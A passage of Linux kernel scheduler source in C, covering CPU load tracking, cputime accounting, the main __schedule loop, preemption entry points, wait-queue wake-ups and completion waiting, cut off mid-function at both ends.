unsigned long curr_jiffies = ACCESS_ONCE(jiffies);
unsigned long load = this_rq->load.weight;
unsigned long pending_updates;
/*
* bail if there's load or we're actually up-to-date.
*/
if (load || curr_jiffies == this_rq->last_load_update_tick)
return;
pending_updates = curr_jiffies - this_rq->last_load_update_tick;
this_rq->last_load_update_tick = curr_jiffies;
__update_cpu_load(this_rq, load, pending_updates);
}
/*
* Called from tick_nohz_idle_exit() -- try and fix up the ticks we missed.
*/
void update_cpu_load_nohz(void)
{
struct rq *this_rq = this_rq();
unsigned long curr_jiffies = ACCESS_ONCE(jiffies);
unsigned long pending_updates;
if (curr_jiffies == this_rq->last_load_update_tick)
return;
raw_spin_lock(&this_rq->lock);
pending_updates = curr_jiffies - this_rq->last_load_update_tick;
if (pending_updates) {
this_rq->last_load_update_tick = curr_jiffies;
/*
* We were idle, this means load 0, the current load might be
* !0 due to remote wakeups and the sort.
*/
__update_cpu_load(this_rq, 0, pending_updates);
}
raw_spin_unlock(&this_rq->lock);
}
#endif /* CONFIG_NO_HZ */
/*
* Called from scheduler_tick()
*/
static void update_cpu_load_active(struct rq *this_rq)
{
/*
* See the mess around update_idle_cpu_load() / update_cpu_load_nohz().
*/
this_rq->last_load_update_tick = jiffies;
__update_cpu_load(this_rq, this_rq->load.weight, 1);
calc_load_account_active(this_rq);
}
#ifdef CONFIG_SMP
/*
* sched_exec - execve() is a valuable balancing opportunity, because at
* this point the task has the smallest effective memory and cache footprint.
*/
void sched_exec(void)
{
struct task_struct *p = current;
unsigned long flags;
int dest_cpu;
raw_spin_lock_irqsave(&p->pi_lock, flags);
dest_cpu = p->sched_class->select_task_rq(p, SD_BALANCE_EXEC, 0);
if (dest_cpu == smp_processor_id())
goto unlock;
if (likely(cpu_active(dest_cpu))) {
struct migration_arg arg = { p, dest_cpu };
raw_spin_unlock_irqrestore(&p->pi_lock, flags);
stop_one_cpu(task_cpu(p), migration_cpu_stop, &arg);
return;
}
unlock:
raw_spin_unlock_irqrestore(&p->pi_lock, flags);
}
#endif
DEFINE_PER_CPU(struct kernel_stat, kstat);
DEFINE_PER_CPU(struct kernel_cpustat, kernel_cpustat);
EXPORT_PER_CPU_SYMBOL(kstat);
EXPORT_PER_CPU_SYMBOL(kernel_cpustat);
/*
* Return any ns on the sched_clock that have not yet been accounted in
* @p in case that task is currently running.
*
* Called with task_rq_lock() held on @rq.
*/
static u64 do_task_delta_exec(struct task_struct *p, struct rq *rq)
{
u64 ns = 0;
if (task_current(rq, p)) {
update_rq_clock(rq);
ns = rq->clock_task - p->se.exec_start;
if ((s64)ns < 0)
ns = 0;
}
return ns;
}
unsigned long long task_delta_exec(struct task_struct *p)
{
unsigned long flags;
struct rq *rq;
u64 ns = 0;
rq = task_rq_lock(p, &flags);
ns = do_task_delta_exec(p, rq);
task_rq_unlock(rq, p, &flags);
return ns;
}
/*
* Return accounted runtime for the task.
* In case the task is currently running, return the runtime plus current's
* pending runtime that have not been accounted yet.
*/
unsigned long long task_sched_runtime(struct task_struct *p)
{
unsigned long flags;
struct rq *rq;
u64 ns = 0;
rq = task_rq_lock(p, &flags);
ns = p->se.sum_exec_runtime + do_task_delta_exec(p, rq);
task_rq_unlock(rq, p, &flags);
return ns;
}
#ifdef CONFIG_CGROUP_CPUACCT
struct cgroup_subsys cpuacct_subsys;
struct cpuacct root_cpuacct;
#endif
static inline void task_group_account_field(struct task_struct *p, int index,
u64 tmp)
{
#ifdef CONFIG_CGROUP_CPUACCT
struct kernel_cpustat *kcpustat;
struct cpuacct *ca;
#endif
/*
* Since all updates are sure to touch the root cgroup, we
* get ourselves ahead and touch it first. If the root cgroup
* is the only cgroup, then nothing else should be necessary.
*
*/
__get_cpu_var(kernel_cpustat).cpustat[index] += tmp;
#ifdef CONFIG_CGROUP_CPUACCT
if (unlikely(!cpuacct_subsys.active))
return;
rcu_read_lock();
ca = task_ca(p);
while (ca && (ca != &root_cpuacct)) {
kcpustat = this_cpu_ptr(ca->cpustat);
kcpustat->cpustat[index] += tmp;
ca = parent_ca(ca);
}
rcu_read_unlock();
#endif
}
/*
* Account user cpu time to a process.
* @p: the process that the cpu time gets accounted to
* @cputime: the cpu time spent in user space since the last update
* @cputime_scaled: cputime scaled by cpu frequency
*/
void account_user_time(struct task_struct *p, cputime_t cputime,
cputime_t cputime_scaled)
{
int index;
/* Add user time to process. */
p->utime += cputime;
p->utimescaled += cputime_scaled;
account_group_user_time(p, cputime);
index = (TASK_NICE(p) > 0) ? CPUTIME_NICE : CPUTIME_USER;
/* Add user time to cpustat. */
task_group_account_field(p, index, (__force u64) cputime);
/* Account for user time used */
acct_update_integrals(p);
}
/*
* Account guest cpu time to a process.
* @p: the process that the cpu time gets accounted to
* @cputime: the cpu time spent in virtual machine since the last update
* @cputime_scaled: cputime scaled by cpu frequency
*/
static void account_guest_time(struct task_struct *p, cputime_t cputime,
cputime_t cputime_scaled)
{
u64 *cpustat = kcpustat_this_cpu->cpustat;
/* Add guest time to process. */
p->utime += cputime;
p->utimescaled += cputime_scaled;
account_group_user_time(p, cputime);
p->gtime += cputime;
/* Add guest time to cpustat. */
if (TASK_NICE(p) > 0) {
cpustat[CPUTIME_NICE] += (__force u64) cputime;
cpustat[CPUTIME_GUEST_NICE] += (__force u64) cputime;
} else {
cpustat[CPUTIME_USER] += (__force u64) cputime;
cpustat[CPUTIME_GUEST] += (__force u64) cputime;
}
}
/*
* Account system cpu time to a process and desired cpustat field
* @p: the process that the cpu time gets accounted to
* @cputime: the cpu time spent in kernel space since the last update
* @cputime_scaled: cputime scaled by cpu frequency
* @target_cputime64: pointer to cpustat field that has to be updated
*/
static inline
void __account_system_time(struct task_struct *p, cputime_t cputime,
cputime_t cputime_scaled, int index)
{
/* Add system time to process. */
p->stime += cputime;
p->stimescaled += cputime_scaled;
account_group_system_time(p, cputime);
/* Add system time to cpustat. */
task_group_account_field(p, index, (__force u64) cputime);
/* Account for system time used */
acct_update_integrals(p);
}
/*
* Account system cpu time to a process.
* @p: the process that the cpu time gets accounted to
* @hardirq_offset: the offset to subtract from hardirq_count()
* @cputime: the cpu time spent in kernel space since the last update
* @cputime_scaled: cputime scaled by cpu frequency
*/
void account_system_time(struct task_struct *p, int hardirq_offset,
cputime_t cputime, cputime_t cputime_scaled)
{
int index;
if ((p->flags & PF_VCPU) && (irq_count() - hardirq_offset == 0)) {
account_guest_time(p, cputime, cputime_scaled);
return;
}
if (hardirq_count() - hardirq_offset)
index = CPUTIME_IRQ;
else if (in_serving_softirq())
index = CPUTIME_SOFTIRQ;
else
index = CPUTIME_SYSTEM;
__account_system_time(p, cputime, cputime_scaled, index);
}
/*
* Account for involuntary wait time.
* @cputime: the cpu time spent in involuntary wait
*/
void account_steal_time(cputime_t cputime)
{
u64 *cpustat = kcpustat_this_cpu->cpustat;
cpustat[CPUTIME_STEAL] += (__force u64) cputime;
}
/*
* Account for idle time.
* @cputime: the cpu time spent in idle wait
*/
void account_idle_time(cputime_t cputime)
{
u64 *cpustat = kcpustat_this_cpu->cpustat;
struct rq *rq = this_rq();
if (atomic_read(&rq->nr_iowait) > 0)
cpustat[CPUTIME_IOWAIT] += (__force u64) cputime;
else
cpustat[CPUTIME_IDLE] += (__force u64) cputime;
}
static __always_inline bool steal_account_process_tick(void)
{
#ifdef CONFIG_PARAVIRT
if (static_key_false(¶virt_steal_enabled)) {
u64 steal, st = 0;
steal = paravirt_steal_clock(smp_processor_id());
steal -= this_rq()->prev_steal_time;
st = steal_ticks(steal);
this_rq()->prev_steal_time += st * TICK_NSEC;
account_steal_time(st);
return st;
}
#endif
return false;
}
#ifndef CONFIG_VIRT_CPU_ACCOUNTING
#ifdef CONFIG_IRQ_TIME_ACCOUNTING
/*
* Account a tick to a process and cpustat
* @p: the process that the cpu time gets accounted to
* @user_tick: is the tick from userspace
* @rq: the pointer to rq
*
* Tick demultiplexing follows the order
* - pending hardirq update
* - pending softirq update
* - user_time
* - idle_time
* - system time
* - check for guest_time
* - else account as system_time
*
* Check for hardirq is done both for system and user time as there is
* no timer going off while we are on hardirq and hence we may never get an
* opportunity to update it solely in system time.
* p->stime and friends are only updated on system time and not on irq
* softirq as those do not count in task exec_runtime any more.
*/
static void irqtime_account_process_tick(struct task_struct *p, int user_tick,
struct rq *rq)
{
cputime_t one_jiffy_scaled = cputime_to_scaled(cputime_one_jiffy);
u64 *cpustat = kcpustat_this_cpu->cpustat;
if (steal_account_process_tick())
return;
if (irqtime_account_hi_update()) {
cpustat[CPUTIME_IRQ] += (__force u64) cputime_one_jiffy;
} else if (irqtime_account_si_update()) {
cpustat[CPUTIME_SOFTIRQ] += (__force u64) cputime_one_jiffy;
} else if (this_cpu_ksoftirqd() == p) {
/*
* ksoftirqd time do not get accounted in cpu_softirq_time.
* So, we have to handle it separately here.
* Also, p->stime needs to be updated for ksoftirqd.
*/
__account_system_time(p, cputime_one_jiffy, one_jiffy_scaled,
CPUTIME_SOFTIRQ);
} else if (user_tick) {
account_user_time(p, cputime_one_jiffy, one_jiffy_scaled);
} else if (p == rq->idle) {
account_idle_time(cputime_one_jiffy);
} else if (p->flags & PF_VCPU) { /* System time or guest time */
account_guest_time(p, cputime_one_jiffy, one_jiffy_scaled);
} else {
__account_system_time(p, cputime_one_jiffy, one_jiffy_scaled,
CPUTIME_SYSTEM);
}
}
static void irqtime_account_idle_ticks(int ticks)
{
int i;
struct rq *rq = this_rq();
for (i = 0; i < ticks; i++)
irqtime_account_process_tick(current, 0, rq);
}
#else /* CONFIG_IRQ_TIME_ACCOUNTING */
static void irqtime_account_idle_ticks(int ticks) {}
static void irqtime_account_process_tick(struct task_struct *p, int user_tick,
struct rq *rq) {}
#endif /* CONFIG_IRQ_TIME_ACCOUNTING */
/*
* Account a single tick of cpu time.
* @p: the process that the cpu time gets accounted to
* @user_tick: indicates if the tick is a user or a system tick
*/
void account_process_tick(struct task_struct *p, int user_tick)
{
cputime_t one_jiffy_scaled = cputime_to_scaled(cputime_one_jiffy);
struct rq *rq = this_rq();
if (sched_clock_irqtime) {
irqtime_account_process_tick(p, user_tick, rq);
return;
}
if (steal_account_process_tick())
return;
if (user_tick)
account_user_time(p, cputime_one_jiffy, one_jiffy_scaled);
else if ((p != rq->idle) || (irq_count() != HARDIRQ_OFFSET))
account_system_time(p, HARDIRQ_OFFSET, cputime_one_jiffy,
one_jiffy_scaled);
else
account_idle_time(cputime_one_jiffy);
}
/*
* Account multiple ticks of steal time.
* @p: the process from which the cpu time has been stolen
* @ticks: number of stolen ticks
*/
void account_steal_ticks(unsigned long ticks)
{
account_steal_time(jiffies_to_cputime(ticks));
}
/*
* Account multiple ticks of idle time.
* @ticks: number of stolen ticks
*/
void account_idle_ticks(unsigned long ticks)
{
if (sched_clock_irqtime) {
irqtime_account_idle_ticks(ticks);
return;
}
account_idle_time(jiffies_to_cputime(ticks));
}
#endif
/*
* Use precise platform statistics if available:
*/
#ifdef CONFIG_VIRT_CPU_ACCOUNTING
void task_times(struct task_struct *p, cputime_t *ut, cputime_t *st)
{
*ut = p->utime;
*st = p->stime;
}
void thread_group_times(struct task_struct *p, cputime_t *ut, cputime_t *st)
{
struct task_cputime cputime;
thread_group_cputime(p, &cputime);
*ut = cputime.utime;
*st = cputime.stime;
}
#else
#ifndef nsecs_to_cputime
# define nsecs_to_cputime(__nsecs) nsecs_to_jiffies(__nsecs)
#endif
void task_times(struct task_struct *p, cputime_t *ut, cputime_t *st)
{
cputime_t rtime, utime = p->utime, total = utime + p->stime;
/*
* Use CFS's precise accounting:
*/
rtime = nsecs_to_cputime(p->se.sum_exec_runtime);
if (total) {
u64 temp = (__force u64) rtime;
temp *= (__force u64) utime;
do_div(temp, (__force u32) total);
utime = (__force cputime_t) temp;
} else
utime = rtime;
/*
* Compare with previous values, to keep monotonicity:
*/
p->prev_utime = max(p->prev_utime, utime);
p->prev_stime = max(p->prev_stime, rtime - p->prev_utime);
*ut = p->prev_utime;
*st = p->prev_stime;
}
/*
* Must be called with siglock held.
*/
void thread_group_times(struct task_struct *p, cputime_t *ut, cputime_t *st)
{
struct signal_struct *sig = p->signal;
struct task_cputime cputime;
cputime_t rtime, utime, total;
thread_group_cputime(p, &cputime);
total = cputime.utime + cputime.stime;
rtime = nsecs_to_cputime(cputime.sum_exec_runtime);
if (total) {
u64 temp = (__force u64) rtime;
temp *= (__force u64) cputime.utime;
do_div(temp, (__force u32) total);
utime = (__force cputime_t) temp;
} else
utime = rtime;
sig->prev_utime = max(sig->prev_utime, utime);
sig->prev_stime = max(sig->prev_stime, rtime - sig->prev_utime);
*ut = sig->prev_utime;
*st = sig->prev_stime;
}
#endif
/*
* This function gets called by the timer code, with HZ frequency.
* We call it with interrupts disabled.
*/
void scheduler_tick(void)
{
int cpu = smp_processor_id();
struct rq *rq = cpu_rq(cpu);
struct task_struct *curr = rq->curr;
sched_clock_tick();
raw_spin_lock(&rq->lock);
update_rq_clock(rq);
update_cpu_load_active(rq);
curr->sched_class->task_tick(rq, curr, 0);
raw_spin_unlock(&rq->lock);
perf_event_task_tick();
#ifdef CONFIG_SMP
rq->idle_balance = idle_cpu(cpu);
trigger_load_balance(rq, cpu);
#endif
}
notrace unsigned long get_parent_ip(unsigned long addr)
{
if (in_lock_functions(addr)) {
addr = CALLER_ADDR2;
if (in_lock_functions(addr))
addr = CALLER_ADDR3;
}
return addr;
}
#if defined(CONFIG_PREEMPT) && (defined(CONFIG_DEBUG_PREEMPT) || \
defined(CONFIG_PREEMPT_TRACER))
void __kprobes add_preempt_count(int val)
{
#ifdef CONFIG_DEBUG_PREEMPT
/*
* Underflow?
*/
if (DEBUG_LOCKS_WARN_ON((preempt_count() < 0)))
return;
#endif
preempt_count() += val;
#ifdef CONFIG_DEBUG_PREEMPT
/*
* Spinlock count overflowing soon?
*/
DEBUG_LOCKS_WARN_ON((preempt_count() & PREEMPT_MASK) >=
PREEMPT_MASK - 10);
#endif
if (preempt_count() == val)
trace_preempt_off(CALLER_ADDR0, get_parent_ip(CALLER_ADDR1));
}
EXPORT_SYMBOL(add_preempt_count);
void __kprobes sub_preempt_count(int val)
{
#ifdef CONFIG_DEBUG_PREEMPT
/*
* Underflow?
*/
if (DEBUG_LOCKS_WARN_ON(val > preempt_count()))
return;
/*
* Is the spinlock portion underflowing?
*/
if (DEBUG_LOCKS_WARN_ON((val < PREEMPT_MASK) &&
!(preempt_count() & PREEMPT_MASK)))
return;
#endif
if (preempt_count() == val)
trace_preempt_on(CALLER_ADDR0, get_parent_ip(CALLER_ADDR1));
preempt_count() -= val;
}
EXPORT_SYMBOL(sub_preempt_count);
#endif
/*
* Print scheduling while atomic bug:
*/
static noinline void __schedule_bug(struct task_struct *prev)
{
if (oops_in_progress)
return;
printk(KERN_ERR "BUG: scheduling while atomic: %s/%d/0x%08x\n",
prev->comm, prev->pid, preempt_count());
debug_show_held_locks(prev);
print_modules();
if (irqs_disabled())
print_irqtrace_events(prev);
dump_stack();
}
/*
* Various schedule()-time debugging checks and statistics:
*/
static inline void schedule_debug(struct task_struct *prev)
{
/*
* Test if we are atomic. Since do_exit() needs to call into
* schedule() atomically, we ignore that path for now.
* Otherwise, whine if we are scheduling when we should not be.
*/
if (unlikely(in_atomic_preempt_off() && !prev->exit_state))
__schedule_bug(prev);
rcu_sleep_check();
profile_hit(SCHED_PROFILING, __builtin_return_address(0));
schedstat_inc(this_rq(), sched_count);
}
static void put_prev_task(struct rq *rq, struct task_struct *prev)
{
update_task_ravg(prev, rq, 1);
if (prev->on_rq || rq->skip_clock_update < 0)
update_rq_clock(rq);
prev->sched_class->put_prev_task(rq, prev);
}
/*
* Pick up the highest-prio task:
*/
static inline struct task_struct *
pick_next_task(struct rq *rq)
{
const struct sched_class *class;
struct task_struct *p;
/*
* Optimization: we know that if all tasks are in
* the fair class we can call that function directly:
*/
if (likely(rq->nr_running == rq->cfs.h_nr_running)) {
p = fair_sched_class.pick_next_task(rq);
if (likely(p)) {
update_task_ravg(p, rq, 1);
return p;
}
}
for_each_class(class) {
p = class->pick_next_task(rq);
if (p) {
update_task_ravg(p, rq, 1);
return p;
}
}
BUG(); /* the idle class will always have a runnable task */
}
/*
* __schedule() is the main scheduler function.
*/
static void __sched __schedule(void)
{
struct task_struct *prev, *next;
unsigned long *switch_count;
struct rq *rq;
int cpu;
need_resched:
preempt_disable();
cpu = smp_processor_id();
rq = cpu_rq(cpu);
rcu_note_context_switch(cpu);
prev = rq->curr;
schedule_debug(prev);
if (sched_feat(HRTICK))
hrtick_clear(rq);
/*
* Make sure that signal_pending_state()->signal_pending() below
* can't be reordered with __set_current_state(TASK_INTERRUPTIBLE)
* done by the caller to avoid the race with signal_wake_up().
*/
smp_mb__before_spinlock();
raw_spin_lock_irq(&rq->lock);
switch_count = &prev->nivcsw;
if (prev->state && !(preempt_count() & PREEMPT_ACTIVE)) {
if (unlikely(signal_pending_state(prev->state, prev))) {
prev->state = TASK_RUNNING;
} else {
deactivate_task(rq, prev, DEQUEUE_SLEEP);
prev->on_rq = 0;
/*
* If a worker went to sleep, notify and ask workqueue
* whether it wants to wake up a task to maintain
* concurrency.
*/
if (prev->flags & PF_WQ_WORKER) {
struct task_struct *to_wakeup;
to_wakeup = wq_worker_sleeping(prev, cpu);
if (to_wakeup)
try_to_wake_up_local(to_wakeup);
}
}
switch_count = &prev->nvcsw;
}
pre_schedule(rq, prev);
if (unlikely(!rq->nr_running))
idle_balance(cpu, rq);
put_prev_task(rq, prev);
next = pick_next_task(rq);
clear_tsk_need_resched(prev);
rq->skip_clock_update = 0;
if (likely(prev != next)) {
rq->nr_switches++;
rq->curr = next;
++*switch_count;
context_switch(rq, prev, next); /* unlocks the rq */
/*
* The context switch have flipped the stack from under us
* and restored the local variables which were saved when
* this task called schedule() in the past. prev == current
* is still correct, but it can be moved to another cpu/rq.
*/
cpu = smp_processor_id();
rq = cpu_rq(cpu);
} else
raw_spin_unlock_irq(&rq->lock);
post_schedule(rq);
sched_preempt_enable_no_resched();
if (need_resched())
goto need_resched;
}
static inline void sched_submit_work(struct task_struct *tsk)
{
if (!tsk->state || tsk_is_pi_blocked(tsk))
return;
/*
* If we are going to sleep and we have plugged IO queued,
* make sure to submit it to avoid deadlocks.
*/
if (blk_needs_flush_plug(tsk))
blk_schedule_flush_plug(tsk);
}
asmlinkage void __sched schedule(void)
{
struct task_struct *tsk = current;
sched_submit_work(tsk);
__schedule();
}
EXPORT_SYMBOL(schedule);
/**
* schedule_preempt_disabled - called with preemption disabled
*
* Returns with preemption disabled. Note: preempt_count must be 1
*/
void __sched schedule_preempt_disabled(void)
{
sched_preempt_enable_no_resched();
schedule();
preempt_disable();
}
#ifdef CONFIG_PREEMPT
/*
* this is the entry point to schedule() from in-kernel preemption
* off of preempt_enable. Kernel preemptions off return from interrupt
* occur there and call schedule directly.
*/
asmlinkage void __sched notrace preempt_schedule(void)
{
struct thread_info *ti = current_thread_info();
/*
* If there is a non-zero preempt_count or interrupts are disabled,
* we do not want to preempt the current task. Just return..
*/
if (likely(ti->preempt_count || irqs_disabled()))
return;
do {
add_preempt_count_notrace(PREEMPT_ACTIVE);
__schedule();
sub_preempt_count_notrace(PREEMPT_ACTIVE);
/*
* Check again in case we missed a preemption opportunity
* between schedule and now.
*/
barrier();
} while (need_resched());
}
EXPORT_SYMBOL(preempt_schedule);
/*
* this is the entry point to schedule() from kernel preemption
* off of irq context.
* Note, that this is called and return with irqs disabled. This will
* protect us against recursive calling from irq.
*/
asmlinkage void __sched preempt_schedule_irq(void)
{
struct thread_info *ti = current_thread_info();
/* Catch callers which need to be fixed */
BUG_ON(ti->preempt_count || !irqs_disabled());
do {
add_preempt_count(PREEMPT_ACTIVE);
local_irq_enable();
__schedule();
local_irq_disable();
sub_preempt_count(PREEMPT_ACTIVE);
/*
* Check again in case we missed a preemption opportunity
* between schedule and now.
*/
barrier();
} while (need_resched());
}
#endif /* CONFIG_PREEMPT */
int default_wake_function(wait_queue_t *curr, unsigned mode, int wake_flags,
void *key)
{
return try_to_wake_up(curr->private, mode, wake_flags);
}
EXPORT_SYMBOL(default_wake_function);
/*
* The core wakeup function. Non-exclusive wakeups (nr_exclusive == 0) just
* wake everything up. If it's an exclusive wakeup (nr_exclusive == small +ve
* number) then we wake all the non-exclusive tasks and one exclusive task.
*
* There are circumstances in which we can try to wake a task which has already
* started to run but is not in state TASK_RUNNING. try_to_wake_up() returns
* zero in this (rare) case, and we handle it by continuing to scan the queue.
*/
static void __wake_up_common(wait_queue_head_t *q, unsigned int mode,
int nr_exclusive, int wake_flags, void *key)
{
wait_queue_t *curr, *next;
list_for_each_entry_safe(curr, next, &q->task_list, task_list) {
unsigned flags = curr->flags;
if (curr->func(curr, mode, wake_flags, key) &&
(flags & WQ_FLAG_EXCLUSIVE) && !--nr_exclusive)
break;
}
}
/**
* __wake_up - wake up threads blocked on a waitqueue.
* @q: the waitqueue
* @mode: which threads
* @nr_exclusive: how many wake-one or wake-many threads to wake up
* @key: is directly passed to the wakeup function
*
* It may be assumed that this function implies a write memory barrier before
* changing the task state if and only if any tasks are woken up.
*/
void __wake_up(wait_queue_head_t *q, unsigned int mode,
int nr_exclusive, void *key)
{
unsigned long flags;
spin_lock_irqsave(&q->lock, flags);
__wake_up_common(q, mode, nr_exclusive, 0, key);
spin_unlock_irqrestore(&q->lock, flags);
}
EXPORT_SYMBOL(__wake_up);
/*
* Same as __wake_up but called with the spinlock in wait_queue_head_t held.
*/
void __wake_up_locked(wait_queue_head_t *q, unsigned int mode, int nr)
{
__wake_up_common(q, mode, nr, 0, NULL);
}
EXPORT_SYMBOL_GPL(__wake_up_locked);
void __wake_up_locked_key(wait_queue_head_t *q, unsigned int mode, void *key)
{
__wake_up_common(q, mode, 1, 0, key);
}
EXPORT_SYMBOL_GPL(__wake_up_locked_key);
/**
* __wake_up_sync_key - wake up threads blocked on a waitqueue.
* @q: the waitqueue
* @mode: which threads
* @nr_exclusive: how many wake-one or wake-many threads to wake up
* @key: opaque value to be passed to wakeup targets
*
* The sync wakeup differs that the waker knows that it will schedule
* away soon, so while the target thread will be woken up, it will not
* be migrated to another CPU - ie. the two threads are 'synchronized'
* with each other. This can prevent needless bouncing between CPUs.
*
* On UP it can prevent extra preemption.
*
* It may be assumed that this function implies a write memory barrier before
* changing the task state if and only if any tasks are woken up.
*/
void __wake_up_sync_key(wait_queue_head_t *q, unsigned int mode,
int nr_exclusive, void *key)
{
unsigned long flags;
int wake_flags = WF_SYNC;
if (unlikely(!q))
return;
if (unlikely(nr_exclusive != 1))
wake_flags = 0;
spin_lock_irqsave(&q->lock, flags);
__wake_up_common(q, mode, nr_exclusive, wake_flags, key);
spin_unlock_irqrestore(&q->lock, flags);
}
EXPORT_SYMBOL_GPL(__wake_up_sync_key);
/*
* __wake_up_sync - see __wake_up_sync_key()
*/
void __wake_up_sync(wait_queue_head_t *q, unsigned int mode, int nr_exclusive)
{
__wake_up_sync_key(q, mode, nr_exclusive, NULL);
}
EXPORT_SYMBOL_GPL(__wake_up_sync); /* For internal use only */
/**
* complete: - signals a single thread waiting on this completion
* @x: holds the state of this particular completion
*
* This will wake up a single thread waiting on this completion. Threads will be
* awakened in the same order in which they were queued.
*
* See also complete_all(), wait_for_completion() and related routines.
*
* It may be assumed that this function implies a write memory barrier before
* changing the task state if and only if any tasks are woken up.
*/
void complete(struct completion *x)
{
unsigned long flags;
spin_lock_irqsave(&x->wait.lock, flags);
x->done++;
__wake_up_common(&x->wait, TASK_NORMAL, 1, 0, NULL);
spin_unlock_irqrestore(&x->wait.lock, flags);
}
EXPORT_SYMBOL(complete);
/**
* complete_all: - signals all threads waiting on this completion
* @x: holds the state of this particular completion
*
* This will wake up all threads waiting on this particular completion event.
*
* It may be assumed that this function implies a write memory barrier before
* changing the task state if and only if any tasks are woken up.
*/
void complete_all(struct completion *x)
{
unsigned long flags;
spin_lock_irqsave(&x->wait.lock, flags);
x->done += UINT_MAX/2;
__wake_up_common(&x->wait, TASK_NORMAL, 0, 0, NULL);
spin_unlock_irqrestore(&x->wait.lock, flags);
}
EXPORT_SYMBOL(complete_all);
static inline long __sched
do_wait_for_common(struct completion *x, long timeout, int state, int iowait)
{
if (!x->done) {
DECLARE_WAITQUEUE(wait, current);
__add_wait_queue_tail_exclusive(&x->wait, &wait);
do {
if (signal_pending_state(state, current)) {
timeout = -ERESTARTSYS;
break;
}
__set_current_state(state);
spin_unlock_irq(&x->wait.lock);
if (iowait)
timeout = io_schedule_timeout(timeout);
else
timeout = schedule_timeout(timeout);
spin_lock_irq(&x->wait.lock);
} while (!x->done && timeout);
__remove_wait_queue(&x->wait, &wait);
if (!x->done)
return timeout;
}
x->done--;
return timeout ?: 1;
}
static long __sched
wait_for_common(struct completion *x, long timeout, int state, int iowait)
{
might_sleep();
spin_lock_irq(&x->wait.lock);
timeout = do_wait_for_common(x, timeout, state, iowait);
spin_unlock_irq(&x->wait.lock);
return timeout;
}
/**
* wait_for_completion: - waits for completion of a task
* @x: holds the state of this particular completion
*
* This waits to be signaled for completion of a specific task. It is NOT
* interruptible and there is no timeout.
*
* See also similar routines (i.e. wait_for_completion_timeout()) with timeout
* and interrupt capability. Also see complete().
*/
void __sched wait_for_completion(struct completion *x)
{
wait_for_common(x, MAX_SCHEDULE_TIMEOUT, TASK_UNINTERRUPTIBLE, 0);
}
EXPORT_SYMBOL(wait_for_completion);
/**
* wait_for_completion_io: - waits for completion of a task
* @x: holds the state of this particular completion
*
* This waits for completion of a specific task to be signaled. Treats any
* sleeping as waiting for IO for the purposes of process accounting.
*/
void __sched wait_for_completion_io(struct completion *x)
{
wait_for_common(x, MAX_SCHEDULE_TIMEOUT, TASK_UNINTERRUPTIBLE, 1);
}
EXPORT_SYMBOL(wait_for_completion_io);
/**
* wait_for_completion_timeout: - waits for completion of a task (w/timeout)
* @x: holds the state of this particular completion
* @timeout: timeout value in jiffies
*
* This waits for either a completion of a specific task to be signaled or for a
* specified timeout to expire. The timeout is in jiffies. It is not
* interruptible.
*
* The return value is 0 if timed out, and positive (at least 1, or number of
* jiffies left till timeout) if completed.
*/
unsigned long __sched
wait_for_completion_timeout(struct completion *x, unsigned long timeout)
{
return wait_for_common(x, timeout, TASK_UNINTERRUPTIBLE, 0);
}
EXPORT_SYMBOL(wait_for_completion_timeout);
/**
* wait_for_completion_interruptible: - waits for completion of a task (w/intr)
* @x: holds the state of this particular completion
*
* This waits for completion of a specific task to be signaled. It is
* interruptible.
*
* The return value is -ERESTARTSYS if interrupted, 0 if completed.
*/
int __sched wait_for_completion_interruptible(struct completion *x)
{
long t = wait_for_common(x, MAX_SCHEDULE_TIMEOUT,
TASK_INTERRUPTIBLE, 0);
if (t == -ERESTARTSYS)
return t;
return 0;
}
EXPORT_SYMBOL(wait_for_completion_interruptible);
/**
* wait_for_completion_interruptible_timeout: - waits for completion (w/(to,intr))
* @x: holds the state of this particular completion
* @timeout: timeout value in jiffies
*
* This waits for either a completion of a specific task to be signaled or for a
* specified timeout to expire. It is interruptible. The timeout is in jiffies.
*
* The return value is -ERESTARTSYS if interrupted, 0 if timed out,
* positive (at least 1, or number of jiffies left till timeout) if completed.
*/
long __sched
wait_for_completion_interruptible_timeout(struct completion *x,
unsigned long timeout)
{
return wait_for_common(x, timeout, TASK_INTERRUPTIBLE, 0);
}
EXPORT_SYMBOL(wait_for_completion_interruptible_timeout);
/**
* wait_for_completion_killable: - waits for completion of a task (killable)
* @x: holds the state of this particular completion
*
* This waits to be signaled for completion of a specific task. It can be
* interrupted by a kill signal.
*
* The return value is -ERESTARTSYS if interrupted, 0 if completed.
*/
int __sched wait_for_completion_killable(struct completion *x)
{
long t = wait_for_common(x, MAX_SCHEDULE_TIMEOUT, TASK_KILLABLE, 0);
if (t == -ERESTARTSYS)
return t;
return 0;
}
EXPORT_SYMBOL(wait_for_completion_killable);
/**
* wait_for_completion_killable_timeout: - waits for completion of a task (w/(to,killable))
* @x: holds the state of this particular completion
* @timeout: timeout value in jiffies
*
* This waits for either a completion of a specific task to be
* signaled or for a specified timeout to expire. It can be
* interrupted by a kill signal. The timeout is in jiffies.
*
* The return value is -ERESTARTSYS if interrupted, 0 if timed out,
* positive (at least 1, or number of jiffies left till timeout) if completed.
*/
long __sched
wait_for_completion_killable_timeout(struct completion *x,
unsigned long timeout)
{
return wait_for_common(x, timeout, TASK_KILLABLE, 0);
}
EXPORT_SYMBOL(wait_for_completion_killable_timeout);
/**
* try_wait_for_completion - try to decrement a completion without blocking
* @x: completion structure
*
* Returns: 0 if a decrement cannot be done without blocking
* 1 if a decrement succeeded.
*
* If a completion is being used as a counting completion,
* attempt to decrement the counter without blocking. This
* enables us to avoid waiting if the resource the completion
* is protecting is not available.
*/
bool try_wait_for_completion(struct completion *x)
{
unsigned long flags;
int ret = 1;
spin_lock_irqsave(&x->wait.lock, flags);
if (!x->done)
ret = 0;
else
x->done--;
spin_unlock_irqrestore(&x->wait.lock, flags);
return ret;
}
EXPORT_SYMBOL(try_wait_for_completion);
/**
* completion_done - Test to see if a completion has any waiters
* @x: completion structure
*
* Returns: 0 if there are waiters (wait_for_completion() in progress)
* 1 if there are no waiters.
*
*/
bool completion_done(struct completion *x)
{
unsigned long flags;
int ret = 1;
spin_lock_irqsave(&x->wait.lock, flags);
if (!x->done)
ret = 0;
spin_unlock_irqrestore(&x->wait.lock, flags);
return ret;
}
EXPORT_SYMBOL(completion_done);
static long __sched
sleep_on_common(wait_queue_head_t *q, int state, long timeout)
{
unsigned long flags;
wait_queue_t wait;
init_waitqueue_entry(&wait, current);
__set_current_state(state);
spin_lock_irqsave(&q->lock, flags);
__add_wait_queue(q, &wait);
spin_unlock(&q->lock);
timeout = schedule_timeout(timeout);
spin_lock_irq(&q->lock);
__remove_wait_queue(q, &wait);
